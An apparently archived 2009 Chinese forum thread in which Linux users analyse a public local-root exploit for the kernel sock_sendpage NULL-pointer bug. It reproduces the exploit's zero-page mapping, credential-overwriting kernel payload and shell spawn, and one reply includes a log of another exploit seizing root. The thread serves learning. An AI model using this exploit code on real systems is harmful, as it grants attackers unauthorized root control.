Chinaunix

标题: 新爆内核高危漏洞sock_sendpage的利用分析的讨论 [打印本页]

作者: 独孤九贱    时间: 2009-08-18 17:37
标题: 新爆内核高危漏洞sock_sendpage的利用分析的讨论
先发点上砖上来引玉,大家一起讨论一下吧。

http://linux.chinaunix.net/bbs/thread-1130262-1-1.html

详细地描述了这个漏洞。

具体漏洞原因在

http://archives.neohapsis.com/ar ... e/2009-08/0174.html

也有描述。


因为sock_sendpage没有做指针检查,有些模块不具备sendpage功能,初始时赋为NULL,这样,没有做检查的sock_sendpage有可能直接调用空指针而导致出错——重新映射地址0,并提升权限!!!!


  1. ssize_t sock_sendpage(struct file *file, struct page *page,
  2.                       int offset, size_t size, loff_t *ppos, int more)
  3. {
  4.         struct socket *sock;
  5.         int flags;

  6.         sock = SOCKET_I(file->f_dentry->d_inode);

  7.         flags = !(file->f_flags & O_NONBLOCK) ? 0 : MSG_DONTWAIT;
  8.         if (more)
  9.                 flags |= MSG_MORE;

  10. /*
  11.         没有做类似的指针检查,就直接调用

  12.            if (unlikely(!sock->ops->sendpage))   
  13.                 return -EINVAL;

  14. */

  15.         return sock->ops->sendpage(sock, page, offset, size, flags);
  16. }
复制代码


来看看利用的代码(程序是在安焦上面下载的:
http://www.securityfocus.com/dat ... xploits/36038-4.tgz):

  1. int main(void) {
  2. char template[] = "/tmp/padlina.XXXXXX";
  3. int fdin, fdout;
  4. void *page;

  5. //获取当前程序的uid和gid,后面权限提升的时候查找使用
  6. uid = getuid();
  7. gid = getgid();
  8. setresuid(uid, uid, uid);
  9. setresgid(gid, gid, gid);

  10. if ((personality(0xffffffff)) != PER_SVR4) {
  11.   if ((page = mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)) == MAP_FAILED) {
  12.    perror("mmap");
  13.    return -1;
  14.   }
  15. } else {
  16.   if (mprotect(0x0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) < 0) {
  17.    perror("mprotect");
  18.    return -1;
  19.   }
复制代码


程序mmap了地址0x0,接下来

  1. *(char *)0 = '\x90';  (nop)
  2. *(char *)1 = '\xe9';  (jmp)
  3. *(unsigned long *)2 = (unsigned long)&kernel_code - 6;
复制代码


(这个 - 6是什么意思,大家指点一下)
在地址0x0处埋下代码kernel_code 函数,因为0x90 = nop, 0xe9 = jmp
上面代码可表示为在映射的地址0处,执行

  1. nop
  2. jmp kernel_code
复制代码


不过现在还没有执行,因为Bug没有被激活,程序没有运行到地址0处。

然后就是激活该Bug:

  1. if ((fdin = mkstemp(template)) < 0) {
  2.   perror("mkstemp");
  3.   return -1;
  4. }

  5. if ((fdout = socket(PF_PPPOX, SOCK_DGRAM, 0)) < 0) {
  6.   perror("socket");
  7.   return -1;
  8. }

  9. unlink(template);
  10. ftruncate(fdin, PAGE_SIZE);
  11. sendfile(fdout, fdin, NULL, PAGE_SIZE);
复制代码


这段代码是漏洞描述上的示例代码。。。。。。

关键是kernel_code:

因为Bug被激活,进程已经进入内核上下文:

  1. void kernel_code()
  2. {
  3. int i;
  4. uint *p = get_current();
复制代码



kernel_code第一步是获取当前进程的进程描述符,get_current是一个内联汇编:

  1. static inline __attribute__((always_inline)) void *get_current()
  2. {
  3. unsigned long curr;
  4. __asm__ __volatile__ (
  5.   "movl %%esp, %%eax ;"
  6.   "andl %1, %%eax ;"
  7.   "movl (%%eax), %0"
  8.   : "=r" (curr)
  9.   : "i" (~8191)
  10. );
  11. return (void *) curr;
  12. }
复制代码


这段代码是现成的,描述进程描述符的资料,例如《ULK3》或《Linux内核设计与实现》上都有其介绍。内核中的原型是:
  1. static inline struct task_struct * get_current(void)
  2. {
  3.         return current_thread_info()->task;
  4. }

  5. /* how to get the thread information struct from C */
  6. static inline struct thread_info *current_thread_info(void)
  7. {
  8.         struct thread_info *ti;
  9.         __asm__("andl %%esp,%0; ":"=r" (ti) : "0" (~(THREAD_SIZE - 1)));
  10.         return ti;
  11. }
复制代码


include/asm-i386/current.h

程序返回的是一个uint *指针,而不是struct task_struct *,我认为有两个理由:
A、这是在应用态而不是内核态,如果使用后者,会比较麻烦;
B、这个程序是超版本的,也就是不仅限于某个内核版本,所以,struct task_struct的结构可能会有很大的变化。

所以,没有办法,只能在整个结构范围之内来查找uid和gid。以我的2.6.12为例:
struct task_struct {
……
           /* process credentials */
        uid_t uid,euid,suid,fsuid;
        gid_t gid,egid,sgid,fsgid;
……
}
就是要逐个找到它们,一共是8个字段:
所以,使用uint*指针来指向结构的整个buffer,就可以逐字节的查找。而不是直接使用成员名。(我不知所有历史版本,这些成员的名称是否会变化,这样做不引用成员名,连成员名变化都可以忽略了。)

  1. for (i = 0; i < 1024-13; i++) {
  2.   if (p[0] == uid && p[1] == uid && p[2] == uid && p[3] == uid && p[4] == gid && p[5] == gid && p[6] == gid && p[7] == gid) {
  3.     p[0] = p[1] = p[2] = p[3] = 0;
  4.    p[4] = p[5] = p[6] = p[7] = 0;
  5.    p = (uint *) ((char *)(p + 8) + sizeof(void *));
  6.    p[0] = p[1] = p[2] = ~0;
  7.    break;
  8.   }
  9.   p++;
  10. }
复制代码


所以这里要做一个循环,就是为了超版本的在整个结构的数据中逐个搜寻,去匹备那8个成员。查找上限是1024 - 13,应该与struct task_struct结构的大小有关。包子TX贴子中说测试程序可能会引起系统出问题,估计就是出在这里了。(猜测,呵呵)

接下来就是查找到进程的uid和gid,然后替换之,这里设为0,即为root!!!以达到提升权限的目的。

exit_kernel();退出内核态,并调用exit_code()函数,运行shell。

  1. static inline __attribute__((always_inline)) void exit_kernel()
  2. {
  3. __asm__ __volatile__ (
  4.   "movl %0, 0x10(%%esp) ;"
  5.   "movl %1, 0x0c(%%esp) ;"
  6.   "movl %2, 0x08(%%esp) ;"
  7.   "movl %3, 0x04(%%esp) ;"
  8.   "movl %4, 0x00(%%esp) ;"
  9.   "iret"
  10.   : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL),
  11.       "i" (USER_CS), "r" (exit_code)
  12.      );
  13. }
复制代码


  1. void exit_code()
  2. {
  3. if (getuid() != 0) {
  4.   fprintf(stderr, "failed\n");
  5.   exit(-1);
  6. }

  7. execl("/bin/sh", "sh", "-i", NULL);
  8. }
复制代码




这些利用漏洞的人,太强了,PF呀PF,人与人差距太大了,学无止境呀!!!

[ 本帖最后由 独孤九贱 于 2009-8-18 22:52 编辑 ]
作者: Godbach    时间: 2009-08-18 17:40
九贱兄也很强啊。小弟们很是佩服。。
作者: platinum    时间: 2009-08-18 17:55
感觉九贱兄的学习能力和自我钻研能力超强,而且还经常很无私的将一些成果与大家分享
非常敬仰!
作者: goter    时间: 2009-08-18 17:59
好!
作者: 独孤九贱    时间: 2009-08-18 22:04
原帖由 platinum 于 2009-8-18 17:55 发表
感觉九贱兄的学习能力和自我钻研能力超强,而且还经常很无私的将一些成果与大家分享
非常敬仰!


大家莫要这样说呀,我也是自己看懂一些,请教别人一些,还有一些不是完全懂.放上来大家讨论学习一下,我也好学透!!!再在回来翻了一个ULK3,发现有地方理解有误,再看看,回头再修改一下.

[ 本帖最后由 独孤九贱 于 2009-8-18 22:08 编辑 ]
作者: Godbach    时间: 2009-08-18 23:07
九贱兄为学和为人的态度都值得我们学习。
作者: 独孤九贱    时间: 2009-08-18 23:30
标题: 回复 #6 Godbach 的帖子
对于Linux这种溢出技术基本上都很成熟了。那两个内联汇编函数在以前的溢出程序中也是频率出现。基本上就是往上套。
比如:
http://www.7747.net/Soft/200908/15070.html
演示vmsplice溢出代码,可以对比参考学习一下.

我觉得作者漂亮的代码是:
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)
*(char *)0 = '\x90';  (nop)
*(char *)1 = '\xe9';  (jmp)
*(unsigned long *)2 = (unsigned long)&kernel_code - 6;

也不知是不是他原创的,不过偶以前的确没有见过,孤陋寡闻了。现在学习了,呵呵!!!

[ 本帖最后由 独孤九贱 于 2009-8-18 23:32 编辑 ]
作者: Godbach    时间: 2009-08-18 23:33
直接往0地址空间赋值了
作者: emmoblin    时间: 2009-08-19 00:01
我有有点不解,想请教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
没做检测就直接调用了。这时会跳到进程的虚拟地址0的位置执行。

但是我不理解的是:之前他做了一个mmap,这时向0地址写入代码,不会有什么任何问题吗?
不会破坏系统或者进程吗?
作者: emmoblin    时间: 2009-08-19 00:07
mmap这里我觉得很神奇,相当于让内核执行了用户进程空间的代码。
这样太危险了。
作者: 独孤九贱    时间: 2009-08-19 09:11
原帖由 emmoblin 于 2009-8-19 00:01 发表
我有有点不解,想请教一下:
return sock->ops->sendpage(sock, page, offset, size, flags);
没做检测就直接调用了。这时会跳到进程的虚拟地址0的位置执行。

但是我不理解的是:之前他做了一个mmap,这时 ...


我也没有这样做过,不过我想这并不是直接对地址0进行写操作。而是先做了一个匿名映射,由系统创建了一个内存区域,把它映射到地址0上去而已。漏洞能不能被利用的关键在于,系统允不允许做这样的映射!!!

“mmap这里我觉得很神奇,相当于让内核执行了用户进程空间的代码”

内核执行用户空间的代码?什么意思?不懂!!!
作者: bobozhang    时间: 2009-08-19 13:45
e9 是相对跳转   执行地址地址 0x1上的那个jmp时,eip = 6;  kernel_code的地址为 0xXXXXXX, 相对的话就需要减去当前eip的值,也就是6
作者: hackisle    时间: 2009-08-19 14:10
佩服!!CU上果然什么问题都能找到答案
作者: kouu    时间: 2009-08-19 14:58
牛啊~~ 学习了,学习了……

原帖由 emmoblin 于 2009-8-19 00:01 发表
但是我不理解的是:之前他做了一个mmap,这时 ...


虚拟地址0是属于用户空间的吧~ 所以mmap一下就可以用了。
不过我感觉内核应该限制一下对0地址的分配(任何vma都不能包含0地址),因为习惯上很多情况下都把NULL看成是非法的了。
作者: CUDev    时间: 2009-08-19 20:24
标题: 回复 #11 独孤九贱 的帖子
kernel_code()函数的地址是用户空间的,举例来说,在我的机器上的地址为0x8048afd,小于0xc0000000。在内核态,jmp到一个小于3G的地址上。这个怎么解释?
是不是这个样子,用户态到内核态切换的时候,current还是有效的,指向一个用户空间进程,cr3寄存器的内容内容不会改变,还指向原先用户空间程序的页表。这个用户空间的地址会通过页表找到相应的位置?
作者: kouu    时间: 2009-08-19 20:34
标题: 回复 #15 CUDev 的帖子
是通过系统调用sendfile进入内核态的, 所以current, cr3, 等东西都没变
作者: 独孤九贱    时间: 2009-08-19 21:10
原帖由 CUDev 于 2009-8-19 20:24 发表
kernel_code()函数的地址是用户空间的,举例来说,在我的机器上的地址为0x8048afd,小于0xc0000000。在内核态,jmp到一个小于3G的地址上。这个怎么解释?
是不是这个样子,用户态到内核态切换的时候,current还 ...


系统调用的时候,已经切换到内核态了.正因为如此,后面才有退出kernel,返回用户态的状态.
作者: CUDev    时间: 2009-08-19 21:14
标题: 回复 #1 独孤九贱 的帖子
感觉exit_kernel()那个函数没有多少用处,可以直接声明为int kernel_code(),返回-1。kernel_code自动跳回到用户空间,然后直接调用execl()就好了。

另外,kernel_code()中可以调用标准库里面的函数吗?
http://www.securityfocus.com/dat ... derbar_emporium.tgz
这是这个漏洞的另外一个exploit,它在kernel中执行的函数中调用了memset()。

[ 本帖最后由 CUDev 于 2009-8-19 22:28 编辑 ]
作者: CUDev    时间: 2009-08-19 21:49
标题: 回复 #1 独孤九贱 的帖子
搭车问一个mmap的问题。

mmap的参数中addr如果为NULL的话,是kernel自动选择一个地址,但是这里为什么mmap返回的地址是0呢?
       If addr is NULL, then the kernel chooses the address at which to create the mapping; this is the most portable method of  creat‐\r
       ing a new mapping.  If addr is not NULL, then the kernel takes it as a hint about where to place the mapping; on Linux, the map‐\r
       ping will be created at a nearby page boundary.  The address of the new mapping is returned as the result of the call.


已解决,原来是MAP_FIXED选项的问题

[ 本帖最后由 CUDev 于 2009-8-19 22:14 编辑 ]
作者: pxebxp    时间: 2009-08-19 22:20
dex@dx wunderbar_emporium]$ ls
exploit.c  pwnkernel.c  tzameti.avi  wunderbar_emporium.sh
[dex@dx wunderbar_emporium]$ ./wunderbar_emporium.sh
[+] Personality set to: PER_SVR4
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
I: caps.c: Dropping root privileges.
I: caps.c: Limited capabilities successfully to CAP_SYS_NICE.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-sink" (argument: "device_id=0 sink_name=alsa_output.pci_8086_27d8_sound_card_0_alsa_playback_0 tsched=1"): initialization failed.
E: alsa-util.c: Error opening PCM device hw:0: Permission denied
E: module.c: Failed to load  module "module-alsa-source" (argument: "device_id=0 source_name=alsa_input.pci_8086_27d8_sound_card_0_alsa_capture_0 tsched=1"): initialization failed.
[+] MAPPED ZERO PAGE!
[+] Resolved selinux_enforcing to 0xc0951f94
[+] Resolved selinux_enabled to 0xc07dbaf4
[+] Resolved security_ops to 0xc0950768
[+] Resolved default_security_ops to 0xc07db624
[+] Resolved sel_read_enforce to 0xc04fbbfa
[+] Resolved audit_enabled to 0xc091b16c
[+] got ring0!
[+] detected 2.6 style 4k stacks
[+] Disabled security of : nothing, what an insecure machine!
[+] Got root!
sh-3.2# passwd root
Changing password for user root.
New UNIX password:
BAD PASSWORD: it is WAY too short
Retype new UNIX password:
passwd: all authentication tokens updated successfully.
作者: bbskuang    时间: 2009-08-19 22:35
不错,九剑兄分析的很好。再接再厉。
作者: kouu    时间: 2009-08-19 22:39
原帖由 CUDev 于 2009-8-19 21:14 发表
感觉exit_kernel()那个函数没有多少用处,可以直接声明为int kernel_code(),返回-1。kernel_code自动跳回到用户空间,然后直接调用execl()就好了。

另外,kernel_code()中可以调用标准库里面的函数吗?
ht ...


如果从kernel_code中返回, 应该是返回到sock_sendpage外面去了吧, 并不是直接返回用户态. 到时候控制流发生什么变化还不好说, 倒不如直接iret返回到用户态的好.
作者: CUDev    时间: 2009-08-19 22:47
那那个在kernel中执行的函数中调用C库的问题呢?
作者: kouu    时间: 2009-08-19 23:00
标题: 回复 #23 CUDev 的帖子
我觉得应该是可以调的吧~
整个程序是在用户态编译的, 可以链接C库, kernel_code中调用C库的函数自然能够编译通过.
而既然已经在内核态调用了用户函数kernel_code, 那么kernel_code中调用C库函数应该也没问题.
作者: hackisle    时间: 2009-08-19 23:01
memset在编译的时候会不会已经被替换成相应的汇编代码呢?memcpy好像在编译的时候就是这么处理的。。
作者: hackisle    时间: 2009-08-19 23:14
这是memset编译后的结果

0x0000118d <give_it_to_me_any_way_you_can+233>: mov    0xffffffe8(%ebp),%eax
0x00001190 <give_it_to_me_any_way_you_can+236>: mov    %eax,%edi
---Type <return> to continue, or q <return> to quit---
0x00001192 <give_it_to_me_any_way_you_can+238>: cld   
0x00001193 <give_it_to_me_any_way_you_can+239>: mov    $0x0,%edx
0x00001198 <give_it_to_me_any_way_you_can+244>: mov    $0x8,%eax
0x0000119d <give_it_to_me_any_way_you_can+249>: mov    %eax,%ecx
0x0000119f <give_it_to_me_any_way_you_can+251>: mov    %edx,%eax
0x000011a1 <give_it_to_me_any_way_you_can+253>: rep stos %eax,%es%edi)
作者: CUDev    时间: 2009-08-19 23:15
标题: 回复 #24 kouu 的帖子
Kernel中是不能调用C库的,Kernel中自己实现了一些简单的类C库接口
作者: CUDev    时间: 2009-08-19 23:18
标题: 回复 #26 hackisle 的帖子
你拿之前的帖子中的exploit测试一下
http://www.securityfocus.com/dat ... derbar_emporium.tgz
我这边是:

  1. 0x08048a33 <give_it_to_me_any_way_you_can+223>:        movl   $0x1,0x804a7d4
  2. 0x08048a3d <give_it_to_me_any_way_you_can+233>:        movl   $0x20,0x8(%esp)
  3. 0x08048a45 <give_it_to_me_any_way_you_can+241>:        movl   $0x0,0x4(%esp)
  4. 0x08048a4d <give_it_to_me_any_way_you_can+249>:        mov    -0x10(%ebp),%eax
  5. 0x08048a50 <give_it_to_me_any_way_you_can+252>:        mov    %eax,(%esp)
  6. 0x08048a53 <give_it_to_me_any_way_you_can+255>:        call   0x804863c <memset@plt>
  7. 0x08048a58 <give_it_to_me_any_way_you_can+260>:        add    $0x24,%esp
  8. 0x08048a5b <give_it_to_me_any_way_you_can+263>:        pop    %ebx
  9. 0x08048a5c <give_it_to_me_any_way_you_can+264>:        pop    %ebp
  10. 0x08048a5d <give_it_to_me_any_way_you_can+265>:        ret   
复制代码

作者: hackisle    时间: 2009-08-19 23:31
0x0000118d <give_it_to_me_any_way_you_can+233>: mov    0xffffffe8(%ebp),%eax
0x00001190 <give_it_to_me_any_way_you_can+236>: mov    %eax,%edi
---Type <return> to continue, or q <return> to quit---
0x00001192 <give_it_to_me_any_way_you_can+238>: cld   
0x00001193 <give_it_to_me_any_way_you_can+239>: mov    $0x0,%edx
0x00001198 <give_it_to_me_any_way_you_can+244>: mov    $0x8,%eax
0x0000119d <give_it_to_me_any_way_you_can+249>: mov    %eax,%ecx
0x0000119f <give_it_to_me_any_way_you_can+251>: mov    %edx,%eax
0x000011a1 <give_it_to_me_any_way_you_can+253>: rep stos %eax,%es%edi)
0x000011a3 <give_it_to_me_any_way_you_can+255>: add    $0x1c,%esp
0x000011a6 <give_it_to_me_any_way_you_can+258>: pop    %ebx
0x000011a7 <give_it_to_me_any_way_you_can+259>: pop    %esi
0x000011a8 <give_it_to_me_any_way_you_can+260>: pop    %edi
0x000011a9 <give_it_to_me_any_way_you_can+261>: pop    %ebp
0x000011aa <give_it_to_me_any_way_you_can+262>: ret   

还是和原来一样,会不会是编译器版本的问题?
作者: kouu    时间: 2009-08-19 23:34
标题: 回复 #27 CUDev 的帖子
内核代码中不能调用库函数, 我认为其原因是内核编译的时候没有去链接这些库.
但是这里的kernel_code跟这个不是一回事... 这里的kernel_code是用户程序的一部分, 用户程序在编译时是可以链接C库的.
如果是静态链接, 那么在用户程序的可执行文件中, C库已经是这个文件的一部分了. 调用C库函数和调用自己写的函数应该没什么区别.
如果是动态链接, 在用户程序被运行的时候, C库被map到进程空间里面, 然后被调用的函数的符号被解决...

[ 本帖最后由 kouu 于 2009-8-19 23:42 编辑 ]
作者: hackisle    时间: 2009-08-19 23:46
感觉楼上说的有道理

。。可是如果是动态链接的话,这样在符号解析的过程中会出问题吗?
作者: CUDev    时间: 2009-08-19 23:52
标题: 回复 #30 kouu 的帖子
此言差矣。如果是fopen呢?在Kernel里调fopen(),fopen()底层又调用read()系统调用,又回到了Kernel。
就出现了“先有鸡还是先有蛋”的问题
作者: kouu    时间: 2009-08-20 00:51
原帖由 hackisle 于 2009-8-19 23:46 发表
感觉楼上说的有道理

。。可是如果是动态链接的话,这样在符号解析的过程中会出问题吗?

动态链接还是有一点差别的, 我感觉应该可以, 函数调用就是多加了一层跳转表吧~ 但是不是很确定.

原帖由 CUDev 于 2009-8-19 23:52 发表
此言差矣。如果是fopen呢?在Kernel里调fopen(),fopen()底层又调用read()系统调用,又回到了Kernel。
就出现了“先有鸡还是先有蛋”的问题

你做了这样的假设, 那不等于已经认同kernel_code里面可以调C库了吗?
当然, 能不能调是一回事, 正确与否是另外一回事. 不正确并不代表不能.
再说, 内核里面为什么就不能调用系统调用了? 系统调用不就是通过软中断指令来实现的么, 进入系统调用后没有把这个软中断屏蔽掉的吧, 中断嵌套一下怎么不可以呢?
并且我好像记得内核里面使用系统调用还是合法的. 但是不记得如果系统调用嵌套, 内核栈是怎样被处理的了...

另外, 这个也根本不是什么“先有鸡还是先有蛋”的问题, 程序的执行是有源头的.
从系统启动, 到内核初始化, 再到用户进程被创建执行, 再到shell被执行, 再到这个攻击用的程序被执行, 再到这个程序以某种手断进入内核, 再到这个程序的代码在内核态下运行... 每一步都有确切的上一步的~

[ 本帖最后由 kouu 于 2009-8-20 10:28 编辑 ]
作者: bobozhang    时间: 2009-08-20 09:29
内核态跟用户态不在于地址,而在于cpu的状态和堆栈,内核态可以执行一些特殊指令,用的栈也是在内核地址空间中。

我也觉得那个exit_kernel用不着阿,直接返回到return sock->ops->sendpage(sock, page, offset, size, flags);这句不行吗?我觉得返回到这里后它会一直返回直到返回到用户空间也就是sendfile的下一句,在这里再执行shell。不知道为什么不这样
作者: CUDev    时间: 2009-08-20 09:59
标题: 回复 #33 kouu 的帖子
我是按照您的思路进行假设的,我从来没有认为在Kernel里面可以调用C库
作者: CUDev    时间: 2009-08-20 10:00
标题: 回复 #34 bobozhang 的帖子
之前发的另外一个exploit中,就没有exit_kernel()这样的代码,而是直接返回
作者: albeta    时间: 2009-08-20 10:11
赞一个,楼主解释很清楚啊。希望以后多多做这样的文章。
作者: kouu    时间: 2009-08-20 10:27
标题: 回复 #35 CUDev 的帖子
OK,这样讨论下去没意义。有空我做个实验试试……
作者: scutan    时间: 2009-08-20 10:28
佩服,谢谢九贱兄
作者: albeta    时间: 2009-08-20 10:57
弱弱的问一下
personality(PER_SVR4) 有啥用
作者: CUDev    时间: 2009-08-20 11:14
标题: 回复 #40 albeta 的帖子
PER_SVR4以及MAP_ZERO了,不用再mmap了,只需要mprotect修改一下权限即可。
作者: emmoblin    时间: 2009-08-20 23:55
我还是有些不明白:
这个代码最关键的是
mmap(0x0, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS, 0, 0)

MAP_FIXED的作用就是强行映射到指定的addr的位置。
MAP_ANONYMOUS将忽略 fd和offset参数。

疑问一:

既然没有传入fd,那么到底把哪个文件或者内存映射到了地址0呢?
难道是内核空间的内存?

疑问二:
return sock->ops->sendpage(sock, page, offset, size, flags);
在内核空间执行时应该看到的是进程的全部4G空间。
这个跳转到0地址执行,这个0地址指的是进程的虚拟地址0吗?

如果是进程空间的虚拟地址0,那么为什么不直接在进程的虚拟地址0直接写入jmp指令呢?
到底为什么要作mmap呢?

疑问三:
sock->ops->sendpage
到底在什么情况下是NULL呢?难道内核的sendpage就不能用吗?
还是只有
socket(PF_PPPOX, SOCK_DGRAM, 0)才会导致sendpage指针为NULL呢?

[ 本帖最后由 emmoblin 于 2009-8-21 00:00 编辑 ]
作者: kouu    时间: 2009-08-21 00:24
标题: 回复 #42 emmoblin 的帖子
1、这里的mmap应该就相当于malloc时,libc做的mmap一样(malloc大块内存的时候),就是把0地址的空间分配给用户;
2、不做mmap的话,虚拟地址空间的0地址是没有分配的,没有对应的vma,缺页异常会导致程序被杀死;
3、sock->ops->sendpage是NULL也是内核BUG之一。不少类型的socket都没有sendfile这个函数,但是它们大多数都会使用sock_no_sendpage来代替一下,并不会留空。但是PF_PPPOX却留的是NULL,我发现PF_BLUETOOTH也是一样的效果,而PF_INET之类的却不行;
作者: emmoblin    时间: 2009-08-21 00:38
谢谢kouu,明白多了。

也就是使用mmap在0地址分配一段空间,然后就可以在此空间写入代码了。

但是这样都行,难道mmap可以随便指定一个地址吗?
比如我指定0x50000000,正好这个地址是有用的,那岂不是破坏了这段内存?
程序还不跑乱了?

[ 本帖最后由 emmoblin 于 2009-8-21 00:49 编辑 ]
作者: kouu    时间: 2009-08-21 10:19
标题: 回复 #44 emmoblin 的帖子
按我的理解,mmap就是在mm上加一个vma。如果这个vma与现有的vma有重叠,如果其属性一样的话,mmap应该是可以成功的,并且新老两个vma被合并成一个。否则mmap会失败。
另外,mmap的地址参数多数情况下只是个参考,内核不一定map到给定的地址上,实际map的地址会通过返回值给出。但是本例中mmap使用了MAP_FIXED参数,应该就是不允许内核map到其他地址了,map不成功则直接返回失败。
作者: zengdesheng    时间: 2009-08-21 17:14
感谢分享。
作者: emmoblin    时间: 2009-08-23 10:37
标题: 回复 #45 kouu 的帖子
那我觉得内核mmap的时候应该避免映射到0地址。及时用了FIXED参数。
这样就利用不了NULL跳转到0地址执行的漏洞了
作者: kouu    时间: 2009-08-23 11:37
原帖由 emmoblin 于 2009-8-23 10:37 发表
那我觉得内核mmap的时候应该避免映射到0地址。及时用了FIXED参数。
这样就利用不了NULL跳转到0地址执行的漏洞了

原帖由 kouu 于 2009-8-19 14:58 发表
不过我感觉内核应该限制一下对0地址的分配(任何vma都不能包含0地址),因为习惯上很多情况下都把NULL看成是非法的了。


:wink: 同感, 呵呵
作者: CUDev    时间: 2009-08-26 10:07
标题: 回复 #34 bobozhang 的帖子
http://www.milw0rm.com/exploits/9479

milw0rm上的一个exploit中有一段解释,来支持这个观点:
        /*
        ** By calling iret after pushing a register into kernel stack,
        ** We don't have to go back to ring3(user mode) privilege level. dont worry. :-}
        **
        ** kernel_code() function will return to its previous status which means before sendfile() system call,
        ** after operating upon a ring0(kernel mode) privilege level.
        ** This will enhance the viablity of the attack code even though each kernel can have different CS and DS address.
        */

作者: kouu    时间: 2009-08-26 14:00
标题: 回复 #49 CUDev 的帖子
按我的理解,在kernel_code中return,并不是直接返回到用户态去的。
sendfile系统调用有自己的流程:创建一个pipe作缓冲用、从in_fd读数据到pipe、将pipe的数据写到out_fd、循环直到满足条件……
存在漏洞的sock_sendpage函数是在“将pipe的数据写到out_fd”这个阶段,从kernel_code返回也就是退出这个阶段。

这里有两个问题:
1、kernel_code返回值是void,但是原本的sock->ops->sendpage是有ssize_t返回值的,于是kernel_code返回后,上层调用者将在栈中得到一个假的返回值;
2、kernel_code返回后,循环会退出吗(sendfile完毕 或 出错)?(可以看到,#49的链接中,用户态调用sendfile时的count参数值为2,但LZ的例子中这个值是PAGE_SIZE,可能是为了退出循环);

如果以上两个问题处理不当,直接从kernel_code返回可能是有问题的。如果没有问题,那么可能是巧合、或者是作者精心考虑过的。


另外,#49 链接给出的代码中,通过一个栈变量where的地址来找到tast_struct,感觉确实比用汇编来取ESP好~
作者: CUDev    时间: 2009-08-26 15:18
实际上之前我还发过一个exploit的例子,里面是return int的。这个kernel_code()最后返回会到调用send_page()的地方。

但是,现在还有一个问题,就是之前说的问题,kernel_code()中调用C库中的memcpy()的问题,这个问题该如何解释?
作者: kouu    时间: 2009-08-26 16:26
标题: 回复 #51 CUDev 的帖子
呵呵,我还是觉得在kernel_code()函数中调用C库的函数是可以的~

本来打算验证一下的,上次做了一下实验,ubuntu直接就整个挂起了(屏幕定格、无任何响应),也不知道是什么问题。 感觉在PC上做这种事情实在太恶心…… 以前都是在嵌入式开发版上搞的,随便折腾。可惜现在没这个环境了……

也希望哪位朋友有兴趣的话验证一下,给个结论~ 呵呵
作者: CUDev    时间: 2009-08-26 23:09
Robert Love的LKD中:
与用户空间的应用程序不同,内核是不能链接使用标准C函数库(其他的那些库也不行)。造成这种情况的原因有很多,其中就包括先有鸡还是先有蛋的这个悖论。不过最主要的原因在于速度和大小。对于内核来讲,完整的C库太大了------即便是从中抽取出一个合适的子集------大小和效率都不能被接收。


像printf这样的库函数,应该是不能在Kernel中直接call的。但是其他一些函数,它们的实现不进行系统调用,有些理论上是可以的。但是,在动态编译的时候,想memset()这样的地址是如何搞定的呢?难道加载器在内核态运行,解析符号地址?
作者: cugb_cat    时间: 2009-08-27 13:51
这个代码在64位系统下编不过啊。。汇编器报错了
作者: Godbach    时间: 2009-08-27 14:20
原帖由 cugb_cat 于 2009-8-27 13:51 发表
这个代码在64位系统下编不过啊。。汇编器报错了


cat把错误信息贴出来,以便熟悉汇编的朋友给出解释。。
作者: cugb_cat    时间: 2009-08-27 14:23
原帖由 Godbach 于 2009-8-27 14:20 发表


cat把错误信息贴出来,以便熟悉汇编的朋友给出解释。。

  1. mqq@208_96:/tmp> ./run.sh
  2. /tmp/ccXvMmLd.s: Assembler messages:
  3. /tmp/ccXvMmLd.s:12: Error: Incorrect register `%rax' used with `l' suffix
  4. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rdx' used with `l' suffix
  5. /tmp/ccXvMmLd.s:120: Error: Incorrect register `%rax' used with `l' suffix
复制代码


  1. mqq@208_96:/tmp> uname -a
  2. Linux 208_96 2.6.16.60-0.21-******64-090415 #7 SMP Wed Apr 15 09:25:02 CST 2009 x86_64 x86_64 x86_64 GNU/Linux
复制代码


  1. mqq@208_96:/tmp> gcc -v
  2. Using built-in specs.
  3. Target: x86_64-suse-linux
  4. Configured with: ../configure --enable-threads=posix --prefix=/usr --with-local-prefix=/usr/local --infodir=/usr/share/info --mandir=/usr/share/man --libdir=/usr/lib64 --libexecdir=/usr/lib64 --enable-languages=c,c++,objc,fortran,obj-c++,java,ada --enable-checking=release --with-gxx-include-dir=/usr/include/c++/4.1.2 --enable-ssp --disable-libssp --disable-libgcj --with-slibdir=/lib64 --with-system-zlib --enable-shared --enable-__cxa_atexit --enable-libstdcxx-allocator=new --program-suffix= --enable-version-specific-runtime-libs --without-system-libunwind --with-cpu=generic --host=x86_64-suse-linux
  5. Thread model: posix
  6. gcc version 4.1.2 20070115 (prerelease) (SUSE Linux)
复制代码

作者: Godbach    时间: 2009-08-27 14:28
能不能将32位上编译出来的那个可执行文件直接放在64位上试一下?
作者: cugb_cat    时间: 2009-08-27 14:53
原帖由 Godbach 于 2009-8-27 14:28 发表
能不能将32位上编译出来的那个可执行文件直接放在64位上试一下?

mmap出错。。。
但是这个代码在64位系统上编译后,是可以成功的:

  1. #include <stdio.h>
  2. #include <sys/personality.h>
  3. #include <sys/mman.h>

  4. typedef void test();

  5. void testfn()
  6. {
  7.         printf("testfn success\n");
  8. }

  9. int main(int argc, char **argv)
  10. {
  11.         void *mem;
  12.         //personality(PER_SVR4);
  13.         if ((personality(0xffffffff)) != PER_SVR4) {
  14.                 mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  15.                 if (mem != NULL) {
  16.                         /* for old kernels with SELinux that don't allow RWX anonymous mappings
  17.                            luckily they don't have NX support either ;) */
  18.                         mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  19.                         if (mem != NULL) {
